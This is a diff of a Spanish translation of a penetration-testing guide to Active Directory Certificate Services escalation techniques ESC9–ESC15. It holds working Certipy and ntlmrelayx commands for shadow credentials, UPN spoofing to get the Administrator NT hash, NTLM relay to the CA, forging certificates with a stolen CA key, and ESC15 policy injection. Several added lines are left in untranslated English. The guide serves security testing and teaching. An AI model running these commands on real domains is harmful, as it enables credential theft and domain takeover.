+El nuevo valor **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) para **`msPKI-Enrollment-Flag`**, referido como ESC9, impide la inclusión de la **nueva extensión de seguridad `szOID_NTDS_CA_SECURITY_EXT`** en un certificado. Esta bandera se vuelve relevante cuando `StrongCertificateBindingEnforcement` está establecida en `1` (la configuración por defecto), en contraste con un ajuste de `2`. Su relevancia aumenta en escenarios donde se pueda explotar un mapeo de certificado más débil para Kerberos o Schannel (como en ESC10), dado que la ausencia de ESC9 no modificaría los requisitos.
 
 Las condiciones bajo las cuales la configuración de esta bandera se vuelve significativa incluyen:
 
-- `StrongCertificateBindingEnforcement` no se ajusta a `2` (siendo la predeterminada `1`), o `CertificateMappingMethods` incluye la bandera `UPN`.
-- El certificado está marcado con la bandera `CT_FLAG_NO_SECURITY_EXTENSION` dentro de la configuración de `msPKI-Enrollment-Flag`.
+- `StrongCertificateBindingEnforcement` no está ajustado a `2` (siendo el valor por defecto `1`), o `CertificateMappingMethods` incluye la bandera `UPN`.
+- El certificado está marcado con la bandera `CT_FLAG_NO_SECURITY_EXTENSION` dentro de la configuración `msPKI-Enrollment-Flag`.
 - Cualquier EKU de autenticación de cliente está especificado por el certificado.
-- Los permisos `GenericWrite` están disponibles sobre cualquier cuenta para comprometer otra.
+- Existen permisos `GenericWrite` sobre alguna cuenta para comprometer a otra.
 
-### Escenario de Abuso
+### Escenario de abuso
 
-Supongamos que `John@corp.local` tiene permisos `GenericWrite` sobre `Jane@corp.local`, con el objetivo de comprometer `Administrator@corp.local`. La plantilla de certificado `ESC9`, en la que `Jane@corp.local` tiene permiso para inscribirse, está configurada con la bandera `CT_FLAG_NO_SECURITY_EXTENSION` en su configuración de `msPKI-Enrollment-Flag`.
+Supongamos que `John@corp.local` tiene permisos `GenericWrite` sobre `Jane@corp.local`, con el objetivo de comprometer `Administrator@corp.local`. La plantilla de certificado `ESC9`, en la que `Jane@corp.local` tiene permitido inscribirse, está configurada con la bandera `CT_FLAG_NO_SECURITY_EXTENSION` en su ajuste `msPKI-Enrollment-Flag`.
 
-Inicialmente, el hash de `Jane` se adquiere utilizando Credenciales de Sombra, gracias a `GenericWrite` de `John`:
+Inicialmente, se adquiere el hash de `Jane` usando Shadow Credentials, gracias al `GenericWrite` de `John`:
 ```bash
 certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
 ```
-Posteriormente, el `userPrincipalName` de `Jane` se modifica a `Administrator`, omitiendo intencionadamente la parte del dominio `@corp.local`:
+Posteriormente, el `userPrincipalName` de `Jane` se modifica a `Administrator`, omitiendo deliberadamente la parte de dominio `@corp.local`:
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
 ```
 Esta modificación no viola las restricciones, dado que `Administrator@corp.local` sigue siendo distinto como el `userPrincipalName` de `Administrator`.
 
-A continuación, se solicita la plantilla de certificado `ESC9`, marcada como vulnerable, como `Jane`:
+A continuación, la plantilla de certificado `ESC9`, marcada como vulnerable, se solicita como `Jane`:
 ```bash
 certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
 ```
-Se observa que el `userPrincipalName` del certificado refleja `Administrator`, sin ningún “object SID”.
+Se observa que el `userPrincipalName` del certificado refleja `Administrator`, desprovisto de cualquier “object SID”.
 
-El `userPrincipalName` de `Jane` se revierte a su original, `Jane@corp.local`:
+El `userPrincipalName` de `Jane` se revierte entonces a su valor original, `Jane@corp.local`:
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
 ```
-Intentar la autenticación con el certificado emitido ahora produce el hash NT de `Administrator@corp.local`. El comando debe incluir `-domain <domain>` debido a la falta de especificación de dominio en el certificado:
+Intentar la autenticación con el certificado emitido ahora devuelve el hash NT de `Administrator@corp.local`. El comando debe incluir `-domain <domain>` debido a que el certificado no especifica el dominio:
 ```bash
 certipy auth -pfx adminitrator.pfx -domain corp.local
 ```
@@ -482,9 +499,9 @@ certipy auth -pfx adminitrator.pfx -domain corp.local
 
 ### Explicación
 
-Dos valores de clave de registro en el controlador de dominio se refieren a ESC10:
+Dos valores de clave del registro en el domain controller son referidos por ESC10:
 
-- El valor predeterminado para `CertificateMappingMethods` bajo `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` es `0x18` (`0x8 | 0x10`), anteriormente configurado como `0x1F`.
+- El valor predeterminado para `CertificateMappingMethods` bajo `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` es `0x18` (`0x8 | 0x10`), anteriormente establecido en `0x1F`.
 - La configuración predeterminada para `StrongCertificateBindingEnforcement` bajo `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` es `1`, anteriormente `0`.
 
 **Caso 1**
@@ -495,69 +512,69 @@ Cuando `StrongCertificateBindingEnforcement` está configurado como `0`.
 
 Si `CertificateMappingMethods` incluye el bit `UPN` (`0x4`).
 
-### Caso de Abuso 1
+### Caso de abuso 1
 
-Con `StrongCertificateBindingEnforcement` configurado como `0`, una cuenta A con permisos de `GenericWrite` puede ser explotada para comprometer cualquier cuenta B.
+Con `StrongCertificateBindingEnforcement` configurado como `0`, una cuenta A con permisos `GenericWrite` puede ser explotada para comprometer cualquier cuenta B.
 
-Por ejemplo, teniendo permisos de `GenericWrite` sobre `Jane@corp.local`, un atacante busca comprometer `Administrator@corp.local`. El procedimiento refleja ESC9, permitiendo que se utilice cualquier plantilla de certificado.
+Por ejemplo, teniendo permisos `GenericWrite` sobre `Jane@corp.local`, un atacante pretende comprometer `Administrator@corp.local`. El procedimiento refleja ESC9, permitiendo que se utilice cualquier plantilla de certificado.
 
-Inicialmente, el hash de `Jane` se recupera utilizando Credenciales en Sombra, explotando el `GenericWrite`.
+Inicialmente, el hash de `Jane` se recupera usando Shadow Credentials, explotando el `GenericWrite`.
 ```bash
 certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
 ```
-Posteriormente, el `userPrincipalName` de `Jane` se altera a `Administrator`, omitiendo deliberadamente la parte `@corp.local` para evitar una violación de restricciones.
+Posteriormente, el `userPrincipalName` de `Jane` se cambia a `Administrator`, omitiendo deliberadamente la parte `@corp.local` para evitar una violación de la restricción.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
 ```
-A continuación, se solicita un certificado que habilite la autenticación del cliente como `Jane`, utilizando la plantilla `User` predeterminada.
+A continuación, se solicita un certificado que habilita la autenticación de cliente como `Jane`, utilizando la plantilla predeterminada `User`.
 ```bash
 certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
 ```
-El `userPrincipalName` de `Jane` se revierte a su original, `Jane@corp.local`.
+El `userPrincipalName` de `Jane` se restaura a su valor original, `Jane@corp.local`.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
 ```
-Autenticarse con el certificado obtenido generará el hash NT de `Administrator@corp.local`, lo que requiere la especificación del dominio en el comando debido a la ausencia de detalles del dominio en el certificado.
+Al autenticarse con el certificado obtenido se obtendrá el NT hash de `Administrator@corp.local`, por lo que es necesario especificar el dominio en el comando, ya que el certificado no incluye los detalles del dominio.
 ```bash
 certipy auth -pfx administrator.pfx -domain corp.local
 ```
 ### Caso de abuso 2
 
-Con el `CertificateMappingMethods` que contiene el bit flag `UPN` (`0x4`), una cuenta A con permisos de `GenericWrite` puede comprometer cualquier cuenta B que carezca de la propiedad `userPrincipalName`, incluidas las cuentas de máquina y el administrador de dominio incorporado `Administrator`.
+Con la bandera de bit `UPN` en `CertificateMappingMethods` (`0x4`), una cuenta A con permisos `GenericWrite` puede comprometer cualquier cuenta B que carezca de la propiedad `userPrincipalName`, incluidas cuentas de máquina y el administrador de dominio integrado `Administrator`.
 
-Aquí, el objetivo es comprometer `DC$@corp.local`, comenzando por obtener el hash de `Jane` a través de Shadow Credentials, aprovechando el `GenericWrite`.
+Aquí, el objetivo es comprometer a `DC$@corp.local`, empezando por obtener el hash de `Jane` a través de Shadow Credentials, aprovechando el `GenericWrite`.
 ```bash
 certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
 ```
-El `userPrincipalName` de `Jane` se establece en `DC$@corp.local`.
+El `userPrincipalName` de `Jane` se establece entonces en `DC$@corp.local`.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
 ```
-Se solicita un certificado para la autenticación del cliente como `Jane` utilizando la plantilla `User` predeterminada.
+Se solicita un certificado para autenticación de cliente como `Jane` usando la plantilla predeterminada `User`.
 ```bash
 certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
 ```
-El `userPrincipalName` de `Jane` se revierte a su original después de este proceso.
+El `userPrincipalName` de `Jane` se restaura a su valor original después de este proceso.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
 ```
-Para autenticar a través de Schannel, se utiliza la opción `-ldap-shell` de Certipy, indicando el éxito de la autenticación como `u:CORP\DC$`.
+Para autenticarse vía Schannel, se utiliza la opción `-ldap-shell` de Certipy, indicando el éxito de la autenticación como `u:CORP\DC$`.
 ```bash
 certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
 ```
-A través de la shell LDAP, comandos como `set_rbcd` habilitan ataques de Delegación Constrainida Basada en Recursos (RBCD), comprometiendo potencialmente el controlador de dominio.
+A través del shell LDAP, comandos como `set_rbcd` permiten ataques Resource-Based Constrained Delegation (RBCD), comprometiendo potencialmente el controlador de dominio.
 ```bash
 certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
 ```
-Esta vulnerabilidad también se extiende a cualquier cuenta de usuario que carezca de un `userPrincipalName` o donde no coincida con el `sAMAccountName`, siendo el `Administrator@corp.local` el objetivo principal debido a sus privilegios LDAP elevados y la ausencia de un `userPrincipalName` por defecto.
+Esta vulnerabilidad también afecta a cualquier cuenta de usuario que carezca de un `userPrincipalName` o en la que este no coincida con el `sAMAccountName`, siendo la cuenta por defecto `Administrator@corp.local` un objetivo principal debido a sus privilegios LDAP elevados y a la ausencia de un `userPrincipalName` por defecto.
 
 ## Relaying NTLM to ICPR - ESC11
 
 ### Explicación
 
-Si el servidor CA no está configurado con `IF_ENFORCEENCRYPTICERTREQUEST`, puede realizar ataques de retransmisión NTLM sin firmar a través del servicio RPC. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
+If CA Server Do not configured with `IF_ENFORCEENCRYPTICERTREQUEST`, it can be makes NTLM relay attacks without signing via RPC service. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
 
-Puedes usar `certipy` para enumerar si `Enforce Encryption for Requests` está deshabilitado y certipy mostrará las vulnerabilidades `ESC11`.
+Puedes usar `certipy` para enumerar si `Enforce Encryption for Requests` está Disabled y certipy mostrará las vulnerabilidades `ESC11`.
 ```bash
 $ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -574,9 +591,9 @@ Enforce Encryption for Requests     : Disabled
 ESC11                             : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue
 
 ```
-### Escenario de Abuso
+### Escenario de abuso
 
-Es necesario configurar un servidor de retransmisión:
+Es necesario configurar un servidor relay:
 ```bash
 $ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
 Certipy v4.7.0 - by Oliver Lyak (ly4k)
@@ -595,29 +612,29 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k)
 [*] Saved certificate and private key to 'administrator.pfx'
 [*] Exiting...
 ```
-Nota: Para los controladores de dominio, debemos especificar `-template` en DomainController.
+Nota: Para domain controllers, debemos especificar `-template` en DomainController.
 
-O usando [el fork de impacket de sploutchy](https://github.com/sploutchy/impacket):
+O usando [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) :
 ```bash
 $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support
 ```
-## Acceso a shell a ADCS CA con YubiHSM - ESC12
+## Shell access to ADCS CA with YubiHSM - ESC12
 
-### Explicación
+### Explanation
 
 Los administradores pueden configurar la Autoridad de Certificación para almacenarla en un dispositivo externo como el "Yubico YubiHSM2".
 
-Si el dispositivo USB está conectado al servidor CA a través de un puerto USB, o un servidor de dispositivo USB en caso de que el servidor CA sea una máquina virtual, se requiere una clave de autenticación (a veces denominada "contraseña") para que el Proveedor de Almacenamiento de Claves genere y utilice claves en el YubiHSM.
+Si un dispositivo USB está conectado al servidor CA a través de un puerto USB, o a un USB device server en caso de que el servidor CA sea una virtual machine, se requiere una authentication key (a veces denominada "password") para que el Key Storage Provider genere y utilice claves en el YubiHSM.
 
-Esta clave/contraseña se almacena en el registro bajo `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` en texto claro.
+Esta key/password se almacena en el registro bajo `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` en cleartext.
 
-Referencia en [aquí](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
+Referencia en [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
 
-### Escenario de abuso
+### Abuse Scenario
 
-Si la clave privada de la CA está almacenada en un dispositivo USB físico cuando obtuviste acceso a shell, es posible recuperar la clave.
+Si la private key de la CA está almacenada en un dispositivo USB físico cuando obtuviste shell access, es posible recuperar la clave.
 
-Primero, necesitas obtener el certificado de la CA (esto es público) y luego:
+En primer lugar, necesitas obtener el certificado de la CA (esto es público) y luego:
 ```cmd
 # import it to the user store with CA certificate
 $ certutil -addstore -user my <CA certificate file>
@@ -625,17 +642,17 @@ $ certutil -addstore -user my <CA certificate file>
 # Associated with the private key in the YubiHSM2 device
 $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
 ```
-Finalmente, utiliza el comando certutil `-sign` para falsificar un nuevo certificado arbitrario utilizando el certificado de CA y su clave privada.
+Finalmente, usa el comando certutil `-sign` para forjar un nuevo certificado arbitrario usando el certificado CA y su clave privada.
 
-## Abuso de enlace de grupo OID - ESC13
+## OID Group Link Abuse - ESC13
 
 ### Explicación
 
-El atributo `msPKI-Certificate-Policy` permite que la política de emisión se agregue a la plantilla del certificado. Los objetos `msPKI-Enterprise-Oid` que son responsables de emitir políticas se pueden descubrir en el Contexto de Nombres de Configuración (CN=OID,CN=Public Key Services,CN=Services) del contenedor OID de PKI. Una política se puede vincular a un grupo de AD utilizando el atributo `msDS-OIDToGroupLink` de este objeto, lo que permite a un sistema autorizar a un usuario que presenta el certificado como si fuera un miembro del grupo. [Referencia aquí](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
+El atributo `msPKI-Certificate-Policy` permite añadir la política de emisión a la plantilla de certificado. Los objetos `msPKI-Enterprise-Oid` responsables de emitir políticas pueden descubrirse en el Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) del contenedor PKI OID. Una política puede vincularse a un grupo AD usando el atributo `msDS-OIDToGroupLink` de este objeto, permitiendo que un sistema autorice a un usuario que presente el certificado como si fuera miembro del grupo. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
 
-En otras palabras, cuando un usuario tiene permiso para inscribir un certificado y el certificado está vinculado a un grupo OID, el usuario puede heredar los privilegios de este grupo.
+En otras palabras, cuando un usuario tiene permiso para inscribir un certificado y el certificado está vinculado a un grupo OID, el usuario puede heredar los privilegios de dicho grupo.
 
-Utiliza [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) para encontrar OIDToGroupLink:
+Usa [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) para encontrar OIDToGroupLink:
 ```bash
 Enumerating OIDs
 ------------------------
@@ -657,69 +674,69 @@ OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.139243
 OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
 ------------------------
 ```
-### Escenario de Abuso
+### Escenario de abuso
 
-Encuentra un permiso de usuario que se pueda usar `certipy find` o `Certify.exe find /showAllPermissions`.
+Encuentra un permiso de usuario que pueda usar con `certipy find` o `Certify.exe find /showAllPermissions`.
 
 Si `John` tiene permiso para inscribir `VulnerableTemplate`, el usuario puede heredar los privilegios del grupo `VulnerableGroup`.
 
-Todo lo que necesita hacer es especificar la plantilla, obtendrá un certificado con derechos OIDToGroupLink.
+Todo lo que necesita hacer es especificar la plantilla; obtendrá un certificado con derechos OIDToGroupLink.
 ```bash
 certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
 ```
-## Configuración de Renovación de Certificados Vulnerable - ESC14
+## Configuración vulnerable de renovación de certificados - ESC14
 
 ### Explicación
 
-La descripción en https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping es notablemente completa. A continuación se presenta una cita del texto original.
+La descripción en https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping es notablemente completa. A continuación se cita el texto original.
 
-ESC14 aborda las vulnerabilidades que surgen de "mapeo explícito de certificados débil", principalmente a través del uso indebido o la configuración insegura del atributo `altSecurityIdentities` en cuentas de usuario o computadora de Active Directory. Este atributo de múltiples valores permite a los administradores asociar manualmente certificados X.509 con una cuenta de AD para fines de autenticación. Cuando se completa, estos mapeos explícitos pueden anular la lógica de mapeo de certificados predeterminada, que generalmente se basa en UPNs o nombres DNS en el SAN del certificado, o el SID incrustado en la extensión de seguridad `szOID_NTDS_CA_SECURITY_EXT`.
+ESC14 aborda vulnerabilidades derivadas de la "weak explicit certificate mapping", principalmente por el uso indebido o la configuración insegura del atributo `altSecurityIdentities` en cuentas de usuario o equipo de Active Directory. Este atributo multivalor permite a los administradores asociar manualmente certificados X.509 con una cuenta AD para propósitos de autenticación. Cuando está poblado, estos mapeos explícitos pueden reemplazar la lógica de mapeo de certificados por defecto, que típicamente se basa en UPNs o DNS names en el SAN del certificado, o en el SID incrustado en la extensión de seguridad `szOID_NTDS_CA_SECURITY_EXT`.
 
-Un mapeo "débil" ocurre cuando el valor de cadena utilizado dentro del atributo `altSecurityIdentities` para identificar un certificado es demasiado amplio, fácilmente adivinable, se basa en campos de certificado no únicos o utiliza componentes de certificado fácilmente suplantables. Si un atacante puede obtener o crear un certificado cuyos atributos coincidan con un mapeo explícito definido débil para una cuenta privilegiada, puede usar ese certificado para autenticarse como y suplantar esa cuenta.
+Un mapeo "débil" ocurre cuando el valor string usado dentro del atributo `altSecurityIdentities` para identificar un certificado es demasiado amplio, fácilmente adivinable, depende de campos no únicos del certificado, o utiliza componentes del certificado que son fáciles de falsificar. Si un atacante puede obtener o fabricar un certificado cuyos atributos coincidan con un mapeo explícito débilmente definido para una cuenta privilegiada, puede usar ese certificado para autenticarse e impersonar dicha cuenta.
 
-Ejemplos de cadenas de mapeo `altSecurityIdentities` potencialmente débiles incluyen:
+Ejemplos de strings de mapeo potencialmente débiles en `altSecurityIdentities` incluyen:
 
-- Mapeo únicamente por un Nombre Común de Sujeto (CN) común: p. ej., `X509:<S>CN=SomeUser`. Un atacante podría obtener un certificado con este CN de una fuente menos segura.
-- Uso de Nombres Distinguibles de Emisor (DNs) o DNs de Sujeto demasiado genéricos sin más calificación como un número de serie específico o un identificador de clave de sujeto: p. ej., `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
-- Empleo de otros patrones predecibles o identificadores no criptográficos que un atacante podría satisfacer en un certificado que puede obtener legítimamente o falsificar (si ha comprometido una CA o encontrado una plantilla vulnerable como en ESC1).
+- Mapeo únicamente por un Subject Common Name (CN) común: p. ej., `X509:<S>CN=SomeUser`. Un atacante podría obtener un certificado con ese CN desde una fuente menos segura.
+- Uso de Issuer Distinguished Names (DNs) o Subject DNs demasiado genéricos sin más calificaciones como un número de serie específico o subject key identifier: p. ej., `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
+- Empleo de otros patrones predecibles o identificadores no criptográficos que un atacante podría satisfacer en un certificado que pueda obtener legítimamente o forjar (si ha comprometido una CA o encontrado una plantilla vulnerable como en ESC1).
 
-El atributo `altSecurityIdentities` admite varios formatos para el mapeo, tales como:
+El atributo `altSecurityIdentities` soporta varios formatos para el mapeo, tales como:
 
-- `X509:<I>IssuerDN<S>SubjectDN` (mapea por el DN completo de Emisor y Sujeto)
-- `X509:<SKI>SubjectKeyIdentifier` (mapea por el valor de la extensión de Identificador de Clave de Sujeto del certificado)
-- `X509:<SR>SerialNumberBackedByIssuerDN` (mapea por número de serie, calificado implícitamente por el DN del Emisor) - este no es un formato estándar, generalmente es `<I>IssuerDN<SR>SerialNumber`.
-- `X509:<RFC822>EmailAddress` (mapea por un nombre RFC822, típicamente una dirección de correo electrónico, del SAN)
-- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (mapea por un hash SHA1 de la clave pública en bruto del certificado - generalmente fuerte)
+- `X509:<I>IssuerDN<S>SubjectDN` (mapea por Issuer y Subject DN completos)
+- `X509:<SKI>SubjectKeyIdentifier` (mapea por el valor de la extensión Subject Key Identifier del certificado)
+- `X509:<SR>SerialNumberBackedByIssuerDN` (mapea por número de serie, implícitamente calificado por el Issuer DN) - esto no es un formato estándar, usualmente es `<I>IssuerDN<SR>SerialNumber`.
+- `X509:<RFC822>EmailAddress` (mapea por un nombre RFC822, típicamente un correo, desde el SAN)
+- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (mapea por un hash SHA1 de la raw public key del certificado - generalmente fuerte)
 
-La seguridad de estos mapeos depende en gran medida de la especificidad, unicidad y fuerza criptográfica de los identificadores de certificado elegidos utilizados en la cadena de mapeo. Incluso con modos de enlace de certificado fuertes habilitados en los Controladores de Dominio (que afectan principalmente a los mapeos implícitos basados en UPNs/DNS del SAN y la extensión SID), una entrada `altSecurityIdentities` mal configurada aún puede presentar un camino directo para la suplantación si la lógica de mapeo en sí es defectuosa o demasiado permisiva.
+La seguridad de estos mapeos depende en gran medida de la especificidad, unicidad y fortaleza criptográfica de los identificadores de certificado elegidos en el string de mapeo. Incluso con modos de enlace de certificados fuertes habilitados en los Domain Controllers (que afectan principalmente a los mapeos implícitos basados en SAN UPNs/DNS y la extensión SID), una entrada `altSecurityIdentities` mal configurada aún puede presentar una vía directa para la suplantación si la lógica de mapeo en sí es defectuosa o demasiado permisiva.
 
-### Escenario de Abuso
+### Escenario de abuso
 
-ESC14 apunta a **mapeos explícitos de certificados** en Active Directory (AD), específicamente el atributo `altSecurityIdentities`. Si este atributo está configurado (por diseño o mala configuración), los atacantes pueden suplantar cuentas presentando certificados que coincidan con el mapeo.
+ESC14 se dirige a los **explicit certificate mappings** en Active Directory (AD), específicamente al atributo `altSecurityIdentities`. Si este atributo está establecido (por diseño o por misconfiguración), los atacantes pueden suplantar cuentas presentando certificados que coincidan con el mapeo.
 
-#### Escenario A: El Atacante Puede Escribir en `altSecurityIdentities`
+#### Scenario A: Attacker Can Write to `altSecurityIdentities`
 
-**Precondición**: El atacante tiene permisos de escritura en el atributo `altSecurityIdentities` de la cuenta objetivo o el permiso para otorgarlo en forma de uno de los siguientes permisos en el objeto AD objetivo:
-- Escribir propiedad `altSecurityIdentities`
-- Escribir propiedad `Public-Information`
-- Escribir propiedad (todas)
+**Precondición**: El atacante tiene permisos de escritura sobre el atributo `altSecurityIdentities` de la cuenta objetivo o el permiso para otorgarlo en la forma de uno de los siguientes permisos sobre el objeto AD objetivo:
+- Write property `altSecurityIdentities`
+- Write property `Public-Information`
+- Write property (all)
 - `WriteDACL`
 - `WriteOwner`*
 - `GenericWrite`
 - `GenericAll`
 - Owner*.
 
-#### Escenario B: El Objetivo Tiene un Mapeo Débil a través de X509RFC822 (Correo)
+#### Scenario B: Target Has Weak Mapping via X509RFC822 (Email)
 
-- **Precondición**: El objetivo tiene un mapeo débil X509RFC822 en `altSecurityIdentities`. Un atacante puede establecer el atributo de correo de la víctima para que coincida con el nombre X509RFC822 del objetivo, inscribir un certificado como la víctima y usarlo para autenticarse como el objetivo.
+- **Precondición**: El objetivo tiene un mapeo X509RFC822 débil en altSecurityIdentities. Un atacante puede establecer el atributo mail de la víctima para que coincida con el nombre X509RFC822 del objetivo, solicitar/inscribirse por un certificado como la víctima y usarlo para autenticarse como el objetivo.
 
-#### Escenario C: El Objetivo Tiene un Mapeo X509IssuerSubject
+#### Scenario C: Target Has X509IssuerSubject Mapping
 
-- **Precondición**: El objetivo tiene un mapeo explícito débil X509IssuerSubject en `altSecurityIdentities`. El atacante puede establecer el atributo `cn` o `dNSHostName` en un principal víctima para que coincida con el sujeto del mapeo X509IssuerSubject del objetivo. Luego, el atacante puede inscribir un certificado como la víctima y usar este certificado para autenticarse como el objetivo.
+- **Precondición**: El objetivo tiene un mapeo explícito X509IssuerSubject débil en `altSecurityIdentities`. El atacante puede establecer el atributo `cn` o `dNSHostName` en un principal víctima para que coincida con el subject del mapeo X509IssuerSubject del objetivo. Luego, el atacante puede inscribirse por un certificado como la víctima y usar ese certificado para autenticarse como el objetivo.
 
-#### Escenario D: El Objetivo Tiene un Mapeo X509SubjectOnly
+#### Scenario D: Target Has X509SubjectOnly Mapping
 
-- **Precondición**: El objetivo tiene un mapeo explícito débil X509SubjectOnly en `altSecurityIdentities`. El atacante puede establecer el atributo `cn` o `dNSHostName` en un principal víctima para que coincida con el sujeto del mapeo X509SubjectOnly del objetivo. Luego, el atacante puede inscribir un certificado como la víctima y usar este certificado para autenticarse como el objetivo.
+- **Precondición**: El objetivo tiene un mapeo explícito X509SubjectOnly débil en `altSecurityIdentities`. El atacante puede establecer el atributo `cn` o `dNSHostName` en un principal víctima para que coincida con el subject del mapeo X509SubjectOnly del objetivo. Luego, el atacante puede inscribirse por un certificado como la víctima y usar ese certificado para autenticarse como el objetivo.
 
 ### operaciones concretas
 #### Escenario A
@@ -742,25 +759,26 @@ Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,D
 ```
 Para métodos de ataque más específicos en varios escenarios de ataque, consulte lo siguiente: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
 
-## Políticas de Aplicación EKUwu (CVE-2024-49019) - ESC15
+## EKUwu Application Policies(CVE-2024-49019) - ESC15
 
-### Explicación
+### Explanation
 
 La descripción en https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc es notablemente completa. A continuación se cita el texto original.
 
-Usando plantillas de certificados de versión 1 predeterminadas integradas, un atacante puede crear un CSR para incluir políticas de aplicación que son preferidas sobre los atributos de Uso de Clave Extendida configurados en la plantilla. El único requisito son los derechos de inscripción, y se puede utilizar para generar certificados de autenticación de cliente, agente de solicitud de certificado y certificados de firma de código utilizando la plantilla **_WebServer_**.
+Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template
 
-### Abuso
+### Abuse
 
-Lo siguiente se refiere a [este enlace](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu), haga clic para ver métodos de uso más detallados.
+Lo siguiente hace referencia a [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods.
 
-El comando `find` de Certipy puede ayudar a identificar plantillas V1 que son potencialmente susceptibles a ESC15 si la CA no está parcheada.
+
+El comando `find` de Certipy puede ayudar a identificar plantillas V1 que potencialmente son susceptibles a ESC15 si la CA no está parcheada.
 ```bash
 certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100
 ```
-#### Escenario A: Suplantación Directa a través de Schannel
+#### Escenario A: Suplantación directa vía Schannel
 
-**Paso 1: Solicitar un certificado, inyectando la política de aplicación "Autenticación de Cliente" y el UPN objetivo.** El atacante `attacker@corp.local` tiene como objetivo `administrator@corp.local` utilizando la plantilla "WebServer" V1 (que permite el sujeto proporcionado por el inscrito).
+**Paso 1: Solicitar un certificado, inyectando la Application Policy "Client Authentication" y el UPN objetivo.** El atacante `attacker@corp.local` apunta a `administrator@corp.local` usando la plantilla "WebServer" V1 (que permite subject suministrado por el enrollee).
 ```bash
 certipy req \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@@ -769,17 +787,17 @@ certipy req \
 -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \
 -application-policies 'Client Authentication'
 ```
-- `-template 'WebServer'`: La plantilla vulnerable V1 con "El solicitante proporciona el sujeto".
-- `-application-policies 'Client Authentication'`: Inyecta el OID `1.3.6.1.5.5.7.3.2` en la extensión de Políticas de Aplicación del CSR.
-- `-upn 'administrator@corp.local'`: Establece el UPN en el SAN para suplantación.
+- `-template 'WebServer'`: La plantilla V1 vulnerable con "Enrollee supplies subject".
+- `-application-policies 'Client Authentication'`: Inyecta el OID `1.3.6.1.5.5.7.3.2` en la extensión Application Policies del CSR.
+- `-upn 'administrator@corp.local'`: Establece el UPN en el SAN para la suplantación.
 
-**Paso 2: Autenticarse a través de Schannel (LDAPS) utilizando el certificado obtenido.**
